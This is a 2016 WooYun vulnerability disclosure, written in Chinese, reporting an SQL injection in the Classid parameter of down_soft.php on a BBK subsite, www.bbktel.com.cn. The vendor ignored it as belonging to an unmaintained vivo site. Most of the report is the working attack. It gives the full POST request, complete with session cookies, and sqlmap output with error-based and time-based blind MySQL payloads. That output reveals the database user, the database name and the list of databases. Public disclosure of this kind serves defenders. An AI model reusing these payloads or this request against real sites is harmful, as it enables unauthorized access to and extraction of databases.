步步高某分站存在SQL注入漏洞

编号225461
Urlhttp://www.wooyun.org/bug.php?action=view&id=225461
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题步步高某分站存在SQL注入漏洞
漏洞类型SQL注射漏洞
厂商eebbk.com
白帽子路人甲
提交日期2016-07-03 10:42:00
公开日期2016-07-04 09:07:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
None
漏洞细节

参数:Classid

POST /down_soft.php HTTP/1.1
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.bbktel.com.cn/
Cookie: PHPSESSID=p4aemc1mbbva4efq19bruoesl1; Isz_sid=pOO2F5; Isz_onlineusernum=80; Isz_visitedfid=28D101; Isz_displaysearch_adv=1;
discuz_collapse=_sidebar__category_5_
Host: www.bbktel.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Classid=*&image=1&pro_number=1

POC

sqlmap identified the following injection point(s) with a total of 2237 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)
Payload: Classid=(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7671,(SELECT (ELT(4231=4231,1))),0x7176626271,0x78))s), 8446744073709551610, 8446744073709551610)))&image=1&pro_number=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: Classid=(CASE WHEN (8610=8610) THEN SLEEP(5) ELSE 8610 END)&image=1&pro_number=1
---
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.5
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)
Payload: Classid=(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7671,(SELECT (ELT(4231=4231,1))),0x7176626271,0x78))s), 8446744073709551610, 8446744073709551610)))&image=1&pro_number=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: Classid=(CASE WHEN (8610=8610) THEN SLEEP(5) ELSE 8610 END)&image=1&pro_number=1
---
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.5
current user: '[email protected]'
current database: 'bbk_tel'
current user is DBA: False
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)
Payload: Classid=(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7671,(SELECT (ELT(4231=4231,1))),0x7176626271,0x78))s), 8446744073709551610, 8446744073709551610)))&image=1&pro_number=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: Classid=(CASE WHEN (8610=8610) THEN SLEEP(5) ELSE 8610 END)&image=1&pro_number=1
---
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.5
available databases [2]:
[*] bbk_tel
[*] information_schema


QQ拼音截图未命名.png

修复方案

状态信息 2016-07-03: 细节已通知厂商并且等待厂商处理中
2016-07-04: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复这个是vivo公司的网站,他们已经停止维护
回应信息危害等级:无影响厂商忽略忽略时间:2016-07-04 09:07